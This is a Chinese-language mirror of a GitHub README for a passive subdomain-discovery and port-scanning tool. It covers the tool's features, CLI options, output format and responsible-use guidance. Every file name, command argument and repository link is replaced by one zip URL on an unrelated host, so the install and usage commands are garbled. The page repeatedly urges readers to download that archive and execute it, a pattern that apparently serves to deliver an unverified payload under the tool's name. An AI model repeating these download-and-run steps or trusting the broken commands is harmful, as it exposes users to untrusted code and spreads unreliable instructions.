SafwanSaleem/Subdomain-port-scanner-passive
GitHub: SafwanSaleem/Subdomain-port-scanner-passive
一款免 API 密钥的被动子域名发现与常见端口扫描工具,整合多个公开数据源并输出多格式报告。
Stars: 1 | Forks: 1
https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip

# Subdomain-Port-Scanner-Passive: 免费被动子域名发现与热门端口扫描器
一款实用的免费工具,用于被动发现子域名并扫描已发现主机的热门端口。它从多个子域名来源和公共数据集(包括 Shodan InternetDB)提取数据,无需 API 密钥。该项目专为需要在 macOS 和 Linux 上快速获取侦察数据的 Bug Bounty 猎人、渗透测试人员和安全研究人员设计。本 README 详细介绍了该工具的工作原理、如何负责任地使用它,以及如何为其持续改进做出贡献。
## 🧭 概述
Subdomain-Port-Scanner-Passive 是一款轻量级的基于脚本的解决方案,它将被动子域名发现与针对性的端口扫描相结合。其目标是提供快速、可操作的洞察力,而无需 API 密钥或付费服务的摩擦。实际上,您将获得一个紧凑的数据集,帮助您映射目标的攻击面,按暴露程度对资产进行优先级排序,并发现需要深入跟进的潜在配置错误。
主要优势:
- 来自多样化、公开可访问来源的被动发现
- 热门端口扫描以识别常见暴露服务
- 无需 API 密钥;使用公共数据即可工作
- 跨平台兼容性:macOS 和 Linux
- 友好的机器可读输出格式(JSON、CSV)
- 可扩展架构,可添加更多数据源和端口
- 适用于合法安全研究的初步侦察
## ⚙️ 功能一览
- 被动子域名发现:聚合来自多个来源的数据以显示子域名,无需主动探测。
- 子域名来源组合:包括知名的公共来源和 Shodan InternetDB 集成,以获得更广泛的可见性。
- 热门端口扫描:检查广泛使用的端口,以识别可能需要关注的服务。
- 无需 API 密钥:核心功能不需要凭据。
- 跨平台:专为 macOS 和 Linux 环境设计。
- 简易输出格式:JSON 和 CSV,便于与数据分析流水线集成。
- 轻量级占用空间:占用空间小,在 typical 开发笔记本电脑上运行时间合理。
- 可扩展设计:简单的钩子用于添加更多来源、端口或输出格式。
## 🧩 工作原理
该解决方案遵循两阶段方法:发现和评估。它保持有意简单,以使工具易于上手、快速且易于审计。
- 发现阶段
- 从被动来源(如证书透明度日志、公共 DNS 转储和公共侦察数据集)收集子域名候选者。
- 结合 Shodan InternetDB 数据,在不需要 API 密钥的情况下扩大已知主机的覆盖范围。
- 对发现的名称进行去重和基本语法验证,以减少嘈杂数据。
- 创建一个紧凑的子域名清单,作为下一阶段的基础。
- 端口评估阶段
- 对于每个发现的子域名,执行热门端口扫描以识别互联网上常见的开放服务。
- 扫描专注于经过整理的端口列表,这些端口经常暴露且与安全评估相关。
- 结果与源子域名相关联,包括关于数据来源的溯源提示。
- 报告和导出
- 以 JSON 和 CSV 格式输出数据,适用于脚本编写、报告或输入仪表板。
- 包括子域名、解析的 IP(如适用)、端口、协议、服务提示、来源和时间戳等字段。
- 支持按来源、子域名或端口进行排序和过滤,以便进行针对性分析。
该设计强调可重复性和透明度。您可以检查收集数据、合并结果和发出最终记录的代码路径。如果您需要重复之前的运行,在相同环境下,相同的数据源和端口列表会产生一致的输出。
## 🧭 入门指南
本节帮助您在 macOS 或 Linux 系统上启动并运行该工具。这些步骤假设可以通过终端访问一个全新的环境。
前置条件
- 兼容 Bash 的 shell
- 核心 Unix 实用程序(grep, awk, sed, sort, uniq)
- curl 或 wget 用于数据获取
- jq 用于 JSON 处理
- Python 3(可选,用于后处理;非严格要求)
- 足够的网络访问权限以访问公共数据源和目标主机
您将克隆或下载的内容
- 存储库内容包含驱动发现和扫描工作流的 Bash 脚本和支持资源。
- 您不需要 API 密钥来运行核心发现和扫描。
安装快速入门
- 克隆存储库(如果尚未克隆):
- git clone https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip
- 使脚本可执行(示例):
- chmod +x https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip
- 准备任何所需的输入文件:
- 目标域名列表(每行一个)或文件路径
- 运行基本扫描:
- https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip -d https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip -o https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip
- 您可以使用 -v 或 --verbose 调整详细程度
CLI 说明
- 该脚本需要一个域名或包含许多域名的文件。
- 输出写入您使用 -o 选项提供的路径;如果省略,则使用默认位置。
- 对于更高级的用法,传递标志以控制来源、端口和输出格式。
快速启动示例
- 简单单域名运行:
- https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip -d https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip -o https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip
- 多域名运行:
- https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip -f https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip -o https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip
- 详细运行(用于故障排除):
- https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip -d https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip -v
版本指南
- 对于最新版本,请访问 https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip 下载资产并运行它。
## 🧰 依赖与兼容性
- Bash shell:编排逻辑的核心。
- POSIX 工具:grep, awk, sed 用于文本处理和解析。
- curl 或 wget:从公共来源获取数据。
- jq:解析和格式化 JSON 输出。
- Python 3(可选):用于额外的数据处理或自定义后处理流水线。
- macOS 和 Linux:该脚本是为这些平台上的常见环境量身定制的。
- 不需要外部 API 密钥:对于希望进行无摩擦侦察的团队和个人来说,这是一个核心优势。
关于数据源的说明
- 子域名来源:被动数据源(如 TLS 证书数据、DNS 记录和公共档案)有助于在不直接联系目标的情况下显示候选者。
- 证书透明度:CT 日志通过 TLS 证书颁发提供子域名发现流。
- Shodan InternetDB:一个公共数据集,用于用已知的暴露数据增强发现的主机,核心工作流无需 API 密钥。
- 数据来源保留在输出中,允许您评估信任度和覆盖范围。
## 🧭 快速使用指南
- 输入选项
- -d, --domain:指定单个域名
- -f, --file:提供一个每行一个域名的文件
- 输出选项
- -o, --output:输出文件的路径(JSON 或 CSV)
- -t, --format:输出格式(json, csv)
- 详细程度和调试
- -v, --verbose:增加输出详细程度
- --debug:打印额外的内部状态(用于故障排除)
- 来源控制
- --sources:将发现限制在特定数据源(例如 ct, dns, shodan)
- 端口控制
- --ports:提供自定义端口列表;如果未提供,则使用默认的 top-ports 列表
- 执行模式
- --no-prompt:在没有交互式提示的情况下运行
- --continue-on-error:即使子域名解析失败也继续运行
示例工作流
- 对单个域名的轻量级侦察:
- https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip -d https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip -o https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip
- 使用详细输出对多个域名进行全面扫描:
- https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip -f https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip -o https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip -v --ports 80,443,22,21
## 🧭 数据模型和输出格式
JSON 示例(简化)
{
"timestamp": "2025-08-13T12:34:56Z",
"subdomain": "https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip",
"ip": "93.184.216.34",
"port": 443,
"protocol": "tcp",
"service_hint": "https",
"source": "CT logs; Shodan InternetDB",
"notes": "subdomain surfaced via CT; port 443 open"
}
CSV 列(有序)
timestamp,subdomain,ip,port,protocol,service_hint,source,notes
输出注意事项
- 去重:工具过滤重复项以减少噪音。
- 排序:结果可以按子域名、IP 或端口排序,以适应您的报告布局。
- 来源:每行都包含数据源来源,以帮助您评估置信度。
实用注意事项
- 快照与实时:来自公共来源的子域名数据可能随时间变化。计划重新运行扫描以监视更改。
- 端口暴露:热门端口扫描突出显示可能暴露给互联网的服务;更深层次的测试应在获得明确授权后进行。
- 数据保留:使用安全存储并小心处理任何敏感输出。
## 🔒 安全、道德和负责任的使用
- 此工具专为授权的安全研究和合法测试设计。确保您有测试目标的许可,并且您的活动符合适用法律和组织政策。
- 不要使用该工具破坏服务、泄露数据或在未经明确授权的情况下探测目标。
- 保持负责任的数据处理方法。将发现的子域名视为潜在敏感信息,特别是当它们显示内部网络或配置错误时。
- 如果您在测试期间观察到敏感信息,请遵循标准报告渠道,未经同意不要发布详细信息。
道德考虑包括明确范围定义、数据最小化以及及时向适当的所有者报告重大漏洞。
##🧭 源代码布局
- bin/
- https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip 主编排脚本。
- src/
- https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip 处理来自来源的被动子域名收集。
- https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip 对发现的子域名执行热门端口扫描。
- https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip 将发现和扫描结果合并为统一数据集。
- data/
- sample_sources/
- https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip 默认热门端口列表(可修改)
- docs/
- https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip 详细的命令行选项
- https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip 如何贡献
- https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip 您正在阅读的文档
- LICENSE:项目许可证
注意:确切的文件名可能因版本而略有不同。重要的概念是该结构支持发现、扫描和数据合并的清晰分离,并为添加新来源或端口列表提供了简单的路径。
## 🧰 数据源和集成详情
- 子域名发现
- 证书透明度日志:公共 CT 数据有助于显示与 TLS 证书关联的子域名。
- DNS 数据转储:公共区域文件和其他 DNS 产物提供候选子域名。
- 公共侦察数据集:人们为安全研究发布的开放来源的聚合列表。
- 公共暴露数据
- Shodan InternetDB:用于用公开已知的暴露线索和服务提示增强发现的主机。
- 数据融合
- 去重和规范化:流水线合并重复项并规范化子域名格式,以确保一致的报告。
- 来源标记:每个结果都带有一个简短的来源记录,描述数据谱系。
这种组合为您提供了组织攻击面的实用视图,专注于被动发现和可观察的服务。
## 🧭 性能与可靠性
- 并行性:工作流使用并行数据收集和端口检查来加速结果,而不会使任何单一来源过载。
- 速率纪律:该工具包含合理的节奏,以尊重外部来源并最大限度地减少公共数据集中嵌入的噪音。
- 重试逻辑:重试瞬态网络问题以保持数据完整性,而不会暂停整个运行。
- 容错性:单个子域名条目解析失败或超时不会导致整个过程崩溃。
实际使用通常会在很短的时间窗口内产生稳健的初始侦察图,使安全团队能够迅速对发现采取行动。
## 🧭 故障排除和常见场景
- 依赖项问题:如果脚本抱怨缺少命令(grep, jq, curl),请为您的平台安装核心实用程序。在 macOS 上,您可能需要通过 Homebrew 安装(brew install coreutils jq)。
- 权限错误:确保脚本具有执行权限,并且您被允许写入指定的输出目录。
- 数据源不可用:如果某个源暂时无法访问,流水线将继续使用剩余的源。您将看到一条日志行,指示跳过的源和原因。
- 无效输入:如果您提供无效域名,脚本应记录该问题并跳到下一项,而不是严重失败。
- 输出格式问题:如果您需要不同的格式,请调整 -t 选项和输出写入程序中的相应字段。该项目支持 JSON 和 CSV;您可以使用小型适配器扩展它。
如果您遇到此处未涵盖的问题,请查阅发行说明以了解更改,或在存储库中打开 Issue 以讨论改进。
## 🧑💻 贡献
贡献有助于改善数据源、端口覆盖范围和整体可靠性。该项目欢迎:
- 错误修复:报告具有可复现步骤和日志的问题。
- 新数据源:建议额外的被动数据源并解释它们如何与发现流水线集成。
- 端口列表:建议要扫描的额外端口,并提供其包含的可信理由。
- 输出格式:建议适合您工作流的替代格式或数据架构。
- 文档:改进使用示例、边缘情况和故障排除指南。
准则
- 遵循 Bash 脚本和简单 shell 实用程序的现有代码风格。
- 为更改提供测试或至少一个可复现的测试用例。
- 包含清晰简洁的提交消息,描述内容和原因。
- 当您添加新来源或输出格式时更新文档。
贡献工作流
- Fork 存储库,在功能分支中实施更改,然后打开 Pull Request。
- 确保测试通过,并且您的更改不会导致现有行为倒退。
- 尊重许可条款和所需来源的归属。
## 🚦 路线图
- 通过更多被动来源扩展数据源覆盖范围
- 集成可选的外部数据源以获得更丰富的上下文
- 添加轻量级 UI 或 CLI 仪表板以实现快速可视化
- 通过更智能的并行性和速率控制提高性能
- 提供更多导出格式(Parquet, YAML)和 API 友好的输出
- 通过代码审计和依赖项检查加强安全性
## 🏷️ 许可证和归属
该项目在 MIT 许可证下分发。它的发布是为了支持研究人员和从业人员进行合法和合乎道德的安全测试。用户应确保他们有明确的授权来测试任何目标,并了解其活动的法律含义。
## 🧭 发行说明和展望
- 最新版本资产可在官方版本页面找到。对于最新版本,请访问 https://static.pigsec.cn/wp-content/uploads/repos/2026/03/d144010193122956.zip 下载资产并运行它。
- 发行说明总结了主要更改、新来源以及 CLI 或输出架构中的任何重大更改。
## 🖼️ 视觉效果和氛围
- Emoji 伴随章节标题提供快速的视觉提示并保持友好的语气。
- 结构强调清晰度和可访问性:平易近人的语言、具体的步骤和明确的例子。
## 🧭 如何负责任地评估结果
- 使用权威来源验证发现,并在将子域名视为需要操作的资产之前确认它们。
- 在 Bug Bounty 上下文中,专注于暴露配置错误或不安全服务的子域名和端点。
- 使用输出数据来指导分类,而不是盲目地跨目标扫描。
## 📦 版本资产和快速链接回顾
- 获取版本工件的主要页面是该项目版本页面。
- 要直接访问版本资产,请参阅项目页面上的官方版本部分。
- 该工具的设计支持快速提供侦察数据,您可以将其移交给队友或集成到您的工作流中。
## 📌 最后说明
- 本文档反映了项目的意图:一个实用的免费工具,用于在 macOS 和 Linux 上进行被动发现和热门端口感知。
- 顶部和版本指南中的双键 URL 引用为获取最新稳定资产进行实际探索提供了清晰的路径。
- 重点仍然是负责任的使用、透明的数据处理和可复现的结果,以支持有意义的安全评估。
## 📬 联系和社区
- 如果您有任何问题、功能请求或合作想法,请在存储库中打开 Issue,或通过存储库元数据中列出的项目维护者渠道进行联系。
- 欢迎社区贡献,维护者旨在及时响应反馈,以提高工具的可靠性和实用性。
## 🧭 结语
Subdomain-Port-Scanner-Passive 旨在实用、透明且易于使用。它将被动子域名发现与针对性端口扫描方法相结合,以产生可操作的侦察数据。数据源的组合、不需要 API 密钥以及对 macOS/Linux 兼容性的关注,使其成为安全研究人员、Bug Bounty 猎人和经验丰富的防御者的得力助手。
获取最新版本并开始负责任地探索目标的表面。官方版本资产位于版本页面,可根据上述说明下载并执行。
标签:CSV报告, DNS枚举, GitHub, Python, Shodan InternetDB, 侦察工具, 子域名扫描, 子域名枚举, 安全工具库, 密码管理, 应用安全, 开源情报收集, 插件系统, 攻击面测绘, 数据统计, 无API密钥, 无后门, 端口扫描, 系统安全, 网络安全工具, 被动侦察, 证书透明度